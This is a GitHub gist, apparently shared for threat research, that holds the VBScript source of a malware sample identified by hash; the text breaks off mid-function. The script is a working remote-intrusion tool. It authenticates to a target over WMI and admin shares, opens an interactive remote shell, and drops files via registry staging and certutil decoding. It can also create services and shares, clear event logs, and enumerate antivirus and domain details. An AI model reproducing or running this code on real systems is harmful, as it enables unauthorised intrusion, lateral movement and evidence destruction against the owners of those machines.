Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC

JohnLaTwC/fd334bb96b496592db6c9771f305a2ddca6610a59c6d45f5bbbb2b38859b4f36

Created October 20, 2018 00:20
Show Gist options
  • Save JohnLaTwC/08011be514084fb7a8ccac9ed948a0ec to your computer and use it in GitHub Desktop.
Save JohnLaTwC/08011be514084fb7a8ccac9ed948a0ec to your computer and use it in GitHub Desktop.
Download ZIP
VBS
Raw
fd334bb96b496592db6c9771f305a2ddca6610a59c6d45f5bbbb2b38859b4f36
## Uploaded by @JohnLaTwC
## Sample hash: fd334bb96b496592db6c9771f305a2ddca6610a59c6d45f5bbbb2b38859b4f36
On Error Resume Next
Dim objShell : Set objShell = CreateObject("WScript.Shell")
If LCase(Right(WScript.FullName, 11)) = "wscript.exe" Then
For Each vArg In WScript.Arguments
sArgs = sArgs & " """ & vArg & """"
Next
objShell.Run("cmd.exe /k cscript.exe //nologo " & Chr(34) & WScript.ScriptFullName & Chr(34) & sArgs & " && exit")
WScript.Quit
End If
Dim objNetwork : Set objNetwork = CreateObject("WScript.Network")
Dim objFSO : Set objFSO = CreateObject("Scripting.FileSystemObject")
conLocalHostName = GetHostName()
Dim objArgs : Set objArgs = WScript.Arguments
Dim boolShellMode : boolShellMode =True
Dim boolWMIMode : boolWMIMode = False
Dim boolDeleteIPC : boolDeleteIPC = True
Dim boolDetectShare : boolDetectShare = False
Dim boolDeleteShare : boolDeleteShare = False
Dim conShareName : conShareName = "C$"
Dim conShareFolder : conShareFolder = "C:\"
Dim CachedFileName, ResultFileName
Dim conRemoteTarget, conUserName, conPassword, COMMAND
Dim intWaitTime : intWaitTime = 1000
Dim objRemoteWMIService, objLocalWMIService
Dim boolAutoConvertBase64 : boolAutoConvertBase64 = True
boolShellMode = IfUseShellMode(objArgs)
boolWMIMode = IfUseWMIMode(objArgs, boolShellMode)
If Not InitAlias(objArgs, conRemoteTarget, conUserName, conPassword, COMMAND) Then
QuitWith("")
End If
WriteLine "[+] Logging in [" & conRemoteTarget & "] from [" & conLocalHostName & "]... "
If Not InitMode(boolWMIMode, boolDeleteIPC, boolDetectShare, boolDeleteShare) Then
QuitWith("")
End If
If GetWMIService(".", "root\cimv2", "", "", objLocalWMIService) Then
'local
Else
If boolDeleteIPC Then RemoveMappedDrive conRemoteTarget, "ipc$"
QuitWith("")
End If
If GetWMIService(conRemoteTarget, "root\cimv2", conUserName, conPassword, objRemoteWMIService) Then
WriteLine "[-] Remote WMI connected."
Else
If boolDeleteIPC Then RemoveMappedDrive conRemoteTarget, "ipc$"
QuitWith("")
End If
If GetRemoteOSInfo(objRemoteWMIService, objRemoteOSInfo) Then
conRemoteHostName = objRemoteOSInfo.CSName
Else
conRemoteHostName = conRemoteTarget
End If
GetRemoteComputerInfo objRemoteWMIService, objRemoteComputerInfo
GetRemoteIPAddr objRemoteWMIService
If boolDetectShare Then
WriteLine "[+] Detecting share info..."
ShareDectect boolWMIMode, boolDeleteShare, conShareName, conShareFolder
End If
InitShareSettings CachedFileName, ResultFileName
conCachedFile = Replace(conShareFolder & "\" & CachedFileName, "\\", "\")
conResultFile = Replace(conShareFolder & "\" & ResultFileName, "\\", "\")
If boolWMIMode Then
WriteLine "[!] Warning, WMI Only!"
Else
WriteLine "[-] Result file is " & conCachedFile
End If
If Len(conUserName) = 0 Then
strTitle = "[:" & conRemoteTarget & "]"
Else
strTitle = "[:" & conUserName & "@" & conRemoteTarget & "]"
End If
If boolShellMode Then
If Not ConfirmFolderExists(objRemoteWMIService, conShareFolder, "", RemoteWorkingFolder) Then
QuitWith("")
End If
Else
RemoteWorkingFolder = Null
End If
LocalWorkingFolder = objFSO.GetAbsolutePathName(".")
'LocalWorkingFolder = objShell.CurrentDirectory 'may not working
CommandShell COMMAND, RemoteWorkingFolder, LocalWorkingFolder, boolShellMode
WMIRemoveFile objRemoteWMIService, conCachedFile, RemoteWorkingFolder, False, False
If boolShellMode Then WMIRemoveFile objRemoteWMIService, conResultFile, RemoteWorkingFolder, False, False
If boolDeleteShare Then DeleteShare objRemoteWMIService, conShareName
If boolDeleteIPC Then RemoveMappedDrive conRemoteTarget, "ipc$"
QuitWith("[+] Done")
'#####################################
Function GetWMIService(strHost, strNameSpace, strUser, strPass, objResult)
On Error Resume Next
Err.Clear
GetWMIService = False
Const wbemImpersonationLevelImpersonate = 3
Const wbemAuthenticationLevelPktPrivacy = 6
Dim objLocator
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
If Err Then
Warning "to create SWbemLocator object ", Err.Number, Err.Description
Exit Function
End If
If strHost = "." Then
Set objResult = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strHost & "\" & strNameSpace)
If Err Then
Warning "to connect " & strHost & " ", Err.Number, Err.Description
Else
GetWMIService = True
End If
Else
Set objResult = objLocator.ConnectServer(strHost, strNameSpace, strUser, strPass)
If Err Then
Warning "to connect " & strHost & " ", Err.Number, Err.Description
Else
GetWMIService = True
objResult.Security_.ImpersonationLevel = wbemImpersonationLevelImpersonate
objResult.Security_.AuthenticationLevel = wbemAuthenticationLevelPktPrivacy
End If
End If
End Function
Function InitAlias(objArgs, conRemoteTarget, conUserName, conPassword, COMMAND)
InitAlias = False
Select Case objArgs.Count
Case 2
If Not boolShellMode Then
WriteLine "[!] ERROR: Missing command!"
Exit Function
Else
InitAlias = True
End If
Case 3
If boolShellMode Then
WriteLine "[!] ERROR: Missing username or password!"
Exit Function
Else
InitAlias = True
COMMAND = objArgs.Item(2)
End If
Case 4
If boolShellMode Then
InitAlias =True
conUserName = objArgs.Item(2)
conPassword = objArgs.Item(3)
Else
WriteLine "[!] ERROR: Missing command!"
Exit Function
End If
Case 5
InitAlias = True
conUserName = objArgs.Item(2)
conPassword = objArgs.Item(3)
If not boolShellMode Then COMMAND = objArgs.Item(4)
Case Else
WriteLine "[!] ERROR: Missing args!"
End Select
If InitAlias Then conRemoteTarget = objArgs.Item(1)
End Function
Function InitMode(boolWMIMode, boolDeleteIPC, boolDetectShare, boolDeleteShare)
On Error Resume Next
InitMode = True
If boolWMIMode Then
boolDeleteIPC = False
boolDetectShare = False
boolDeleteShare = False
Exit Function
End If
longIPCErr = MapDrive("", conRemoteTarget, "ipc$", conUserName, conPassword)
Select Case Hex(longIPCErr)
Case "0" 'success
boolWMIMode = False
boolDeleteIPC = True
boolDetectShare = True
Case "80070035" '53, network path not found, 445 may closed
boolWMIMode = True
boolDeleteIPC = False
boolDetectShare = False
boolDeleteShare = False
Case "800704C3" '1219, connection already exists
boolWMIMode = False
boolDeleteIPC = False
boolDetectShare = True
Case Else
boolWMIMode = True
boolDeleteIPC = False
boolDetectShare = False
boolDeleteShare = False
InitMode = False
End Select
End Function
Function InitShareSettings(CachedFileName, ResultFileName)
CachedFileName = "norm" & nss(97,122,5) & ".nls"
ResultFileName = "perf" & nss(97,122,2) & nss(48,57,3) & ".dat"
strPath = ""
strRemoteSystemDirectory = objRemoteOSInfo.SystemDirectory 'C:\Windows\System32
If strRemoteSystemDirectory <> "" Then
If InStr(LCase(strRemoteSystemDirectory), LCase(conShareFolder)) > 0 Then
strPath = Replace(LCase(strRemoteSystemDirectory), LCase(conShareFolder), "")
If Not EndWith(strPath, "\") Then strPath = strPath & "\"
End If
End If
CachedFileName = strPath & CachedFileName
ResultFileName = strPath & ResultFileName
End Function
Function ShareDectect(boolWMIMode, boolDeleteShare, strShareName, strSharePath)
On Error Resume Next
ShareDectect = True
strQuery = "Select Name,Path " & _
"From Win32_Share " & _
"Where Name='C$' Or Name='Admin$'"
Set colItems = objRemoteWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Share ", Err.Number, Err.Description
boolWMIMode = True
boolDeleteShare = False
Exit Function
End If
If colItems.Count > 0 Then
For Each objItem In colItems
strShareName = objItem.Name
strSharePath = objItem.Path
WriteLine "[-] Found " & strShareName & " with " & strSharePath
Next
'If RemoteShareWriteable Then
' sharename = c$/admin$
'Else
' If CreateShare Then
' sharename = admin$
' boolDeleteShare = True
' Else
' boolWMIMode = True
' End If
'End If
WriteLine "[-] Use [" & strShareName & "] as default."
boolWMIMode = False
boolDeleteShare = False
GetSharePermission objRemoteWMIService, strShareName, ""
Exit Function
End If
WriteLine "[!] Cound not found c$ or admin$, try to create"
strComment = "Remote Admin"
strPermission = "FullControl"
If CreateShare(objRemoteWMIService, strShareName, strSharePath, strComment, strPermission, "") Then
boolWMIMode = False
boolDeleteShare = True
Else
boolWMIMode = True
boolDeleteShare = False
End If
End Function
Function IfUseShellMode(objArgs)
On Error Resume Next
If objArgs.Named.Exists("shell") Then
IfUseShellMode = True
ElseIf objArgs.Named.Exists("cmd") Then
IfUseShellMode = False
Else
QuitWith("[!] Error: Wrong Mode Specified!")
End If
End Function
Function IfUseWMIMode(objArgs, boolShellMode)
On Error Resume Next
IfUseWMIMode = False
If boolShellMode Then
If LCase(objArgs.Named.Item("shell")) = "wmi" Then
IfUseWMIMode = True
End If
Else
If LCase(objArgs.Named.Item("cmd")) = "wmi" Then
IfUseWMIMode = True
End If
End If
End Function
'arrResult(0) = intArgumentCount
'arrResult(1) = intWaitTime
'arrResult(2) = boolPersist
'arrResult(3) = boolSaveResult
'arrResult(4) = boolLocalCommand
'arrResult(5) = strKeyWord
'arrResult(6) = arrCommand_to_run
Function PhraseCmd(strCommand)
Dim arrResult
ReDim arrResult(6)
arrResult(0) = 0
arrResult(1) = intWaitTime
arrResult(2) = False
arrResult(3) = False
arrResult(4) = False
arrResult(5) = ""
arrResult(6) = strCommand
If RegxWith(arrResult(6), "^[a-z]:$", True, "") Then
arrResult(0) = 1
arrResult(5) = "cd"
arrResult(6) = "cd " & arrResult(6) & "\"
End If
If RegxWith(arrResult(6), "(.*?) -wait(\d+)", True, arrRegxResult) Then
arrResult(1) = arrRegxResult(0).SubMatches(1)
arrResult(6) = Replace(arrResult(6), " -wait" & arrResult(1), "")
End If
If RegxWith(arrResult(6), "(.*?) -persist", True, "") Then
arrResult(2) = True
arrResult(6) = Replace(arrResult(6), " -persist", "")
End If
If RegxWith(arrResult(6), "(.*?) -saveresult", True, "") Then
arrResult(3) = True
arrResult(6) = Replace(arrResult(6), " -saveresult", "")
End If
If RegxWith(arrResult(6), "^!(.*?)$", True, arrRegxResult) Then
arrResult(4) = True
arrResult(6) = arrRegxResult(0).SubMatches(0)
End If
arrCommandResult = SplitArgument(arrResult(6))
arrCommandResult(0) = Trim(Right(arrResult(6), Len(arrResult(6)) - Len(arrCommandResult(1))))
If Len(arrResult(5)) = 0 Then
'arrCommandResult(0) is whole command, except keyword
'arrCommandResult(1) is 1st argument, as keyword
'arrCommandResult(2) is 2nd argument, ...
arrResult(0) = UBound(arrCommandResult)
arrResult(5) = arrCommandResult(1)
End If
arrResult(6) = arrCommandResult
PhraseCmd = arrResult
End Function
Function CommandShell(COMMAND, RemoteWorkingFolder, LocalWorkingFolder, boolShellMode)
On Error Resume Next
CommandShell = False
Do
If boolShellMode Then
COMMAND = Trim(ReadCommand())
Else
Write vbNewLine & strTitle & " >> "
End If
WriteLine COMMAND
If LCase(Trim(COMMAND)) = "exit" Then Exit Do
'arrResult(0) = intArgumentCount
'arrResult(1) = intWaitTime
'arrResult(2) = boolPersist
'arrResult(3) = boolSaveResult
'arrResult(4) = boolLocalCommand
'arrResult(5) = strKeyWord
'arrResult(6) = arrCommand_to_run
'arrResult(6)(0) = strWholeCommand, except strKeyWord
'arrResult(6)(1) = same as arrResult(5), strKeyWord
'arrResult(6)(2) = 1st argument
arrResult = PhraseCmd(COMMAND)
intTimeOut = arrResult(1) 'delay time to read result
boolPersist = arrResult(2)
boolSaveResult = arrResult(3)
boolLocalCommand = arrResult(4)
strKeyWord = arrResult(5)
arrArguments = arrResult(6)
If boolLocalCommand Then 'local command shell
Set objWMIService = objLocalWMIService
WorkingFolder = LocalWorkingFolder
Else 'remote command shell
Set objWMIService = objRemoteWMIService
WorkingFolder = RemoteWorkingFolder
End If
Select Case LCase(strKeyWord)
Case "cd"
CommandShell = ShellCD(boolLocalCommand, objWMIService, arrArguments, WorkingFolder)
Case "put"
CommandShell = ShellPUT(arrArguments)
Case "get"
CommandShell = ShellGET(arrArguments)
Case "base64"
CommandShell = ShellBase64(arrArguments)
Case "baseput"
CommandShell = ShellBasePut(arrArguments)
Case "baseget"
'CommandShell = ShellBaseGet(arrArguments)
Case "get-dotnet", "gdv"
CommandShell = ShellGDV(objWMIService)
Case "remove-reg", "rr"
CommandShell = ShellRR(objWMIService, arrArguments)
Case "get-reg", "gr"
CommandShell = ShellGR(objWMIService, arrArguments)
Case "new-reg", "nr"
CommandShell = ShellNR(objWMIService, arrArguments)
Case "get-client", "gc"
CommandShell = GetClientInfo(objWMIService)
Case "get-domain", "gdo"
CommandShell = ShellGDO(objWMIService)
Case "get-os", "os"
CommandShell = ShellOS(objWMIService)
Case "get-cpu", "cpu"
CommandShell = ShellCPU(objWMIService)
Case "get-video", "gv"
CommandShell = ShellGV(objWMIService)
Case "get-share", "gs"
CommandShell = ShellGS(objWMIService, arrArguments)
Case "get-sharepermission", "gsp"
CommandShell = ShellGSP(objWMIService, arrArguments)
Case "new-share", "ns"
CommandShell = ShellNS(objWMIService, arrArguments)
Case "remove-share", "rs"
CommandShell = ShellRS(objWMIService, arrArguments)
Case "ifconfig"
CommandShell = ShellIFCONFIG(objWMIService)
Case "route-print", "rpt"
CommandShell = ShellRPT(objWMIService)
Case "remove-file", "rm"
CommandShell = ShellRM(objWMIService, arrArguments, WorkingFolder)
Case "copy-file", "cp"
CommandShell = ShellCP(objWMIService, arrArguments, WorkingFolder, False)
Case "move-file", "mv"
CommandShell = ShellCP(objWMIService, arrArguments, WorkingFolder, True)
Case "find-file", "ff"
CommandShell = ShellFF(objWMIService, arrArguments, WorkingFolder)
Case "ls"
CommandShell = ShellLS(objWMIService, arrArguments, WorkingFolder)
Case "hotfix-check", "qfe"
CommandShell = ShellQFE(objWMIService, arrArguments)
Case "check-wdigest", "cw"
CommandShell = ShellCW(objWMIService)
Case "service-available", "sa"
CommandShell = GetAvailableService(objWMIService)
Case "get-service", "gsv"
CommandShell = ShellGSV(objWMIService, arrArguments)
Case "new-service", "nsv"
CommandShell = ShellNSV(objWMIService, arrArguments)
Case "start-service", "sasv"
CommandShell = ShellHASV(objWMIService, arrArguments, "StartService")
Case "stop-service", "spsv"
CommandShell = ShellHASV(objWMIService, arrArguments, "StopService")
Case "remove-service", "rmsv"
CommandShell = ShellHASV(objWMIService, arrArguments, "Delete")
Case "clear-event", "cev"
CommandShell = ShellCEV(objWMIService, arrArguments)
Case "get-event", "gev"
CommandShell = ShellGEV(objWMIService, arrArguments)
Case "get-time", "now"
CommandShell = ShellNOW(objWMIService)
Case "check-cyber", "cc"
CommandShell = ShellCC(objWMIService)
Case "check-cyber2", "cc2"
CommandShell = ShellCC2(objWMIService)
Case "get-product", "gpd"
CommandShell = ShellGPD(objWMIService)
Case "get-anti", "gat"
CommandShell = ShellGAT()
Case "get-job", "gj"
CommandShell = ShellGJ(objWMIService, arrArguments)
Case "exec-job", "ej"
CommandShell = ShellEJ(objWMIService, arrArguments)
Case "new-job", "nj"
CommandShell = ShellNJ(objWMIService, arrArguments)
Case "remove-job", "rj"
CommandShell = ShellRJ(objWMIService, arrArguments)
Case "get-process", "ps"
CommandShell = ShellPS(objWMIService, arrArguments)
Case "start-process", "saps", "start"
CommandShell = ShellSTART(objWMIService, arrArguments)
Case "stop-process", "kill"
CommandShell = ShellKILL(objWMIService, arrArguments)
Case "connection-test", "test"
CommandShell = ShellTEST(objWMIService, arrArguments)
Case "get-volume", "gvol"
CommandShell = ShellGVOL(objWMIService)
Case "get-logonuser", "glu"
CommandShell = ShellGLU(objWMIService)
Case "get-wmiobject", "gw"
CommandShell = ShellGW(objWMIService, arrArguments)
Case "map-remotedrive", "map"
CommandShell = ShellMAP(arrArguments)
Case "remove-drive", "rmap"
CommandShell = ShellRMAP(arrArguments)
Case "change-defaultshare"
CommandShell = ShellDefaultShare(arrArguments)
Case "mmc-exec", "mmc"
CommandShell = ShellMMC(arrArguments)
Case "arr"
For i = 0 To UBound(arrArguments)
WriteLine i & " = #" & arrArguments(i) & "#"
Next
Case Else
CommandShell = ShellELSE(boolLocalCommand, boolWMIMode, objWMIService, strKeyWord, arrArguments, intTimeOut)
End Select
Loop While boolShellMode
End Function
Function ShellCD(boolLocalCommand, objWMIService, arrArguments, WorkingFolder)
If UBound(arrArguments) < 2 Then
WriteLine WorkingFolder
Else
strPath = Replace(arrArguments(0), """", "")
If ConfirmFolderExists(objWMIService, strPath, WorkingFolder, DestFolder) Then
If boolLocalCommand Then
LocalWorkingFolder = DestFolder
Else
RemoteWorkingFolder = DestFolder
End If
End If
End If
End Function
Function ShellPUT(arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: Missing args."
WriteLine "put <file1> [file2] [...]"
Exit Function
End If
For i = 2 To UBound(arrArguments)
putFile arrArguments(i)
Next
End Function
Function ShellGET(arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: Missing args."
WriteLine "get <file1> [file2] [...]"
Exit Function
End If
For i = 2 To UBound(arrArguments)
getFile arrArguments(i)
Next
End Function
Function ShellBase64(arrArguments)
strText = arrArguments(0)
boolUTF16LE = True
boolSingleLine = True
Base64EncodeString strText, boolUTF16LE, boolSingleLine
End Function
Function ShellBasePut(arrArguments)
strFile = arrArguments(2)
WriteLine "[+] File: " & strFile
Set objFile = objFSO.GetFile(strFile)
If Err Then
Warning "to get file " & strFile & " ", Err.Number, Err.Description
Exit Function
End If
strFileSize = objFile.Size
WriteLine "[-] File Size is " & FormatFileSize(strFileSize)
WriteLine "[+] Begin at " & Now()
strBeginTimer = Timer()
strEncoded = Base64EncodeFile(strFile)
intLineWidth = 72
intRowsCount = 2000
intStepCount = (intLineWidth + 1) * intRowsCount '\r\n
For i = 1 To Len(strEncoded) Step intStepCount
ArrayAppend arrEncoded, Mid(strEncoded, i, intStepCount - 1)
Next
WriteLine "[-] Encoded done at " & Now()
WriteLine "[-] Encoded length is " & FormatFileSize(Len(strEncoded))
strRandomRegPath = nss(65, 90, 6)
strRegPath = "HKCU\" & strRandomRegPath
WriteLine "[-] Random path is " & strRegPath
Set objReg = objRemoteWMIService.Get("StdRegProv")
If Not SplitRegPath(strRegPath, strHive, strKeyPath) Then
Exit Function
End If
If Not ConvertRegHive(strHive, longHive) Then
Exit Function
End If
intErr = objReg.CreateKey(longHive, strKeyPath)
If intErr <> 0 Then Exit Function
For i = 0 To UBound(arrEncoded)
intErr = objReg.SetStringValue(longHive, strKeyPath, i, vbNewLine & arrEncoded(i))
If intErr = 0 Then
Write "."
Else
WriteLine vbNewLine & RegSrdProvErrorCode(intErr)
End If
Next
If intErr = 0 Then WriteLine ""
WriteLine "[-] Transfer done at " & Now()
strCommand = "cmd.exe /c reg query HKCU\" & strRandomRegPath & " |findstr /v ""HKEY_CURRENT_USER REG_SZ"" >> " & conCachedFile
If ProcessStart(objRemoteWMIService, strCommand, RemoteWorkingFolder, intProcessID) Then
WriteLine "[+] PID: " & intProcessID
If Not WaitUntilProcessEnd(objRemoteWMIService, intProcessID, "", intWaitTime, intRetryTimes) Then
Exit Function
End If
Else
WriteLine "[!] Error while writing file."
End If
WriteLine "[-] Write file done at " & Now()
Set dicFile = HandleFilePath(conCachedFile, RemoteWorkingFolder)
If GetSubFiles(dicFile, objRemoteWMIService, colItems, "FileSize") Then
If colItems.Count = 0 Then
WriteLine "[!] " & conCachedFile & " is missing."
Else
For Each objItem In colItems
WriteLine "[-] Length of " & conCachedFile & " is " & FormatFileSize(objItem.FileSize)
Next
End If
End If
If EndWith(RemoteWorkingFolder, "\") Then
strDestFile = RemoteWorkingFolder & strFile
Else
strDestFile = RemoteWorkingFolder & "\" & strFile
End If
strCommand = "certutil.exe -decode " & conCachedFile & " " & strDestFile
If ProcessStart(objRemoteWMIService, strCommand, RemoteWorkingFolder, intProcessID) Then
WriteLine "[+] PID: " & intProcessID
If Not WaitUntilProcessEnd(objRemoteWMIService, intProcessID, "", intWaitTime, intRetryTimes) Then
Exit Function
End If
Else
WriteLine "[!] Error while decoding file."
End If
WriteLine "[-] Decoded done at " & Now()
Set dicFile = HandleFilePath(strDestFile, RemoteWorkingFolder)
If GetSubFiles(dicFile, objRemoteWMIService, colItems, "FileSize") Then
If colItems.Count = 0 Then
WriteLine "[!] " & strDestFile & " is missing."
Else
For Each objItem In colItems
WriteLine "[-] Length of " & strDestFile & " is " & FormatFileSize(objItem.FileSize)
Next
End If
End If
If Not WMIRemoveFile(objRemoteWMIService, conCachedFile, RemoteWorkingFolder, True, True) Then
Exit Function
End If
intErr = objReg.DeleteKey(longHive, strKeyPath)
If intErr <> 0 Then
Warning "to remove " & strHive & "\" & strKeyPath & " ", Err.Number, Err.Description
Exit Function
End If
strEndTimer = Timer()
WriteLine "[-] Total time is " & strEndTimer - strBeginTimer & "s"
End Function
Function ShellBaseGet(arrArguments)
End Function
Function ShellGDV(objWMIService)
WriteLine "[+] Checking from registry..."
strRegPath = "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"
strRegValue = ""
If GetReg (objWMIService, strRegPath, strRegValue, arrSubValues, arrSubKeys) Then
If IsArray(arrSubKeys) Then
For Each strSubKey In arrSubKeys
WriteLine Replace(strRegPath & "\" & strSubKey, "\\", "\")
Next
End If
End If
WriteLine "[+] Checking from folders..."
strFolderPath = "C:\Windows\Microsoft.NET\Framework\*"
ConfirmFolderExists objWMIService, strFolderPath, "", ""
End Function
Function ShellRR(objWMIService, arrArguments)
Select Case UBound(arrArguments)
Case 1
WriteLine "[!] Error: missing reg key path."
WriteLine "Remove-Reg <KeyPath> [ValueName]"
Case 2
strRegPath = arrArguments(2)
strValueName = ""
DelReg objWMIService, strRegPath, strValueName
Case 3
strRegPath = arrArguments(2)
strValueName = arrArguments(3)
DelReg objWMIService, strRegPath, strValueName
Case Else
WriteLine "[!] Error: too many args."
WriteLine "Remove-Reg <KeyPath> [ValueName]"
End Select
End Function
Function ShellGR(objWMIService, arrArguments)
ShellGR = False
Select Case UBound(arrArguments)
Case 1
WriteLine "[!] Error: missing reg key path."
WriteLine "Get-Reg <KeyPath> [ValueName]"
Case 2
strRegPath = arrArguments(2)
strValueName = ""
ShellGR = GetReg(objWMIService, strRegPath, strValueName, arrSubValues, arrSubKeys)
Case 3
strRegPath = arrArguments(2)
strValueName = arrArguments(3)
ShellGR = GetReg(objWMIService, strRegPath, strValueName, arrSubValues, arrSubKeys)
Case Else
WriteLine "[!] Error: too many args."
WriteLine "Get-Reg <KeyPath> [ValueName]"
End Select
If ShellGR Then
If IsArray(arrSubValues) Then
WriteLine strRegPath
For Each arrSubValue In arrSubValues
WriteLine vbTab & Join(arrSubValue, vbTab)
Next
End If
'maybe no subkeys
If IsArray(arrSubKeys) Then
For Each strSubKey In arrSubKeys
WriteLine Replace(strRegPath & "\" & strSubKey, "\\", "\")
Next
End If
End If
End Function
Function ShellNR(objWMIService, arrArguments)
Select Case UBound(arrArguments)
Case 1
WriteLine "[!] Error: missing reg key path."
WriteLine "New-Reg <KeyPath> [<ValueName> <ValueType> <Value>]"
Case 2
strRegPath = arrArguments(2)
strValueName = ""
strValueType = ""
strValue = ""
NewReg objWMIService, strRegPath, strValueName, strValueType, strValue
Case 5
strRegPath = arrArguments(2)
strValueName = arrArguments(3)
strValueType = arrArguments(4)
strValue = arrArguments(5)
NewReg objWMIService, strRegPath, strValueName, strValueType, strValue
Case Else
WriteLine "[!] Error: missing args."
WriteLine "New-Reg <KeyPath> [<ValueName> <ValueType> <Value>]"
End Select
End Function
Function ShellGDO(objWMIService)
strQuery = "Select Caption,DNSForestName,ClientSiteName,DcSiteName," & _
"DomainControllerName,DomainControllerAddress " & _
"From Win32_NTDomain"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "list"
End If
End Function
Function ShellOS(objWMIService)
strQuery = "Select Caption,Version,OSArchitecture,OSLanguage,CSName," & _
"RegisteredUser,CurrentTimeZone,InstallDate," & _
"LastBootUpTime,LocalDateTime " & _
"From Win32_OperatingSystem"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
If arrResult(4)(0) = "OSLanguage" Then arrResult(4)(1) = OSLang(arrResult(4)(1))
If arrResult(7)(0) = "CurrentTimeZone" Then arrResult(7)(1) = arrResult(7)(1) / 60
If arrResult(8)(0) = "InstallDate" Then arrResult(8)(1) = WMIDateStringToDate(arrResult(8)(1), False)
If arrResult(9)(0) = "LastBootUpTime" Then arrResult(9)(1) = WMIDateStringToDate(arrResult(9)(1), False)
If arrResult(10)(0) = "LocalDateTime" Then arrResult(10)(1) = WMIDateStringToDate(arrResult(10)(1), False)
PrintGWResult arrResult, "list"
End If
End Function
Function ShellCPU(objWMIService)
strQuery = "Select DeviceID,Name,NumberOfCores," & _
"NumberOfLogicalProcessors,LoadPercentage " & _
"From Win32_Processor"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGV(objWMIService)
strQuery = "Select DeviceID,Name,AdapterRAM " & _
"From Win32_VideoController"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
If arrResult(0)(2) = "AdapterRAM" Then
For y = 2 To UBound(arrResult)
arrResult(y)(2) = FormatFileSize(arrResult(y)(2))
Next
End If
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGS(objWMIService, arrArguments)
strQuery = "Select Name,Description,Path,Type " & _
"From Win32_Share"
If UBound(arrArguments) > 1 Then
strNameOfShare = arrArguments(2)
strQuery = strQuery & " Where Name='" & strNameOfShare & "'"
End If
If GetWMIObject(objWMIService, strQuery, arrResult) Then
If arrResult(0)(3) = "Type" Then
For y = 2 To UBound(arrResult)
arrResult(y)(3) = "0x" & Hex(arrResult(y)(3))
Next
End If
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGSP(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing share name."
WriteLine "Get-SharePrermission <ShareName>"
Exit Function
End If
strNameOfShare = arrArguments(2)
GetSharePermission objWMIService, strNameOfShare, arrSharePermission
End Function
Function ShellNS(objWMIService, arrArguments)
Select Case UBound(arrArguments)
Case 3
strCommentOfShare = "Default Share"
strSharePermission = "FullControl"
Case 4
strCommentOfShare = arrArguments(4)
strSharePermission = "FullControl"
Case 5
strCommentOfShare = arrArguments(4)
strSharePermission = arrArguments(5)
Case Else
WriteLine "[!] Error: missing arguments."
WriteLine "New-Share <ShareName> <FolderPath> [Comment] [Permission]"
Exit Function
End Select
strNameOfShare = arrArguments(2)
strFolderOfShare = arrArguments(3)
If CreateShare(objWMIService, strNameOfShare, strFolderOfShare, strCommentOfShare, strSharePermission, intShareErr) Then
If intShareErr = 0 Then
WriteLine "[-] Share create success."
End If
End If
End Function
Function ShellRS(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing share name."
WriteLine "Remove-Share <ShareName>"
Exit Function
End If
strNameOfShare = arrArguments(2)
DeleteShare objWMIService, strNameOfShare
End Function
Function ShellIFCONFIG(objWMIService)
On Error Resume Next
strWMIOperation = "ExecQuery"
strWMIClassName = "Win32_NetworkAdapterConfiguration"
strWMIQuery = "DNSHostName,Caption,Description,IPAddress,IPSubnet,DefaultIPGateway," & _
"DNSDomainSuffixSearchOrder,DNSServerSearchOrder,WINSPrimaryServer," & _
"WINSSecondaryServer,MACAddress,Index,DHCPEnabled"
'strWMIFilter = "Where IPEnabled='True'"
strWMIFilter = "Where MACAddress!=NULL"
If Not WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colConfigItems) Then
Exit Function
End If
strWMIClassName = "Win32_NetworkAdapter"
strWMIQuery = "NetEnabled,NetConnectionID,Index,InterfaceIndex"
strWMIFilter = ""
If Not WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colAdapterItems) Then
Exit Function
End If
For Each objItem In colConfigItems
ArrayAppend arrResult, Array("", "") 'separater
ArrayAppend arrResult, Array("DNSHostName", objItem.DNSHostName)
For Each objAdapterItem In colAdapterItems
If objAdapterItem.Index = objItem.Index Then
ArrayAppend arrResult, Array("NetConnectionID", objAdapterItem.NetConnectionID)
ArrayAppend arrResult, Array("InterfaceIndex", objAdapterItem.InterfaceIndex)
boolNetEnabled = objAdapterItem.NetEnabled
If Not boolNetEnabled Then
ArrayAppend arrResult, Array("MediaState", "Media disconnected")
End If
Exit For
End If
Next
ArrayAppend arrResult, Array("DHCPEnabled", objItem.DHCPEnabled)
If boolNetEnabled Then
IFCONFIGResult arrResult, objItem, "IPAddress"
IFCONFIGResult arrResult, objItem, "IPSubnet"
IFCONFIGResult arrResult, objItem, "DefaultIPGateway"
IFCONFIGResult arrResult, objItem, "DNSDomainSuffixSearchOrder"
IFCONFIGResult arrResult, objItem, "DNSServerSearchOrder"
ArrayAppend arrResult, Array("WINSPrimaryServer", objItem.WINSPrimaryServer)
ArrayAppend arrResult, Array("WINSSecondaryServer", objItem.WINSSecondaryServer)
End If
ArrayAppend arrResult, Array("Caption", objItem.Caption)
ArrayAppend arrResult, Array("Description", objItem.Description)
ArrayAppend arrResult, Array("MACAddress", objItem.MACAddress)
Next
PrintGWResult arrResult, "list"
End Function
Function IFCONFIGResult(arrResult, objItem, strProperty)
varValue = Eval("objItem." & strProperty)
If IsArray(varValue) Then varValue = Join(varValue, ", ")
ArrayAppend arrResult, Array(strProperty, varValue)
End Function
Function ShellRPT(objWMIService)
strWMIOperation = "ExecQuery"
strWMIClassName = "Win32_IP4RouteTable"
